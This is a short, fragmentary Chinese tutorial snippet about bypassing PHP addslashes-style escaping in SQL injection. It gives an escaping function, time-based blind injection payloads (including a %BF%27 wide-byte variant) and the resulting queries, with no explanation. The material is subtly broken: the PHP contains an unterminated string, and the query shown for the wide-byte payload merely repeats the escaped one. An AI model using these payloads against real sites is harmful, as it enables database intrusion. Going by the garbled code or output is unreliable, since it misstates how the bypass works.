SQL注入防御：深入解析绕过addslashes技术的方法与策略

function check_addslashes($string)

{

    $string = preg_replace('/'. preg_quote('\') .'/', "\\\\\", $string);          //escape any backslash

    $string = preg_replace('/\'/i', '\\'', $string);                               //escape single quote with a backslash

    $string = preg_replace('/"/', "\\"", $string);                                //escape double quote with a backslash

    return $string;

}

id=1' and sleep(3) --+

SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1

id=1%BF%27 and sleep(3) --+

SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1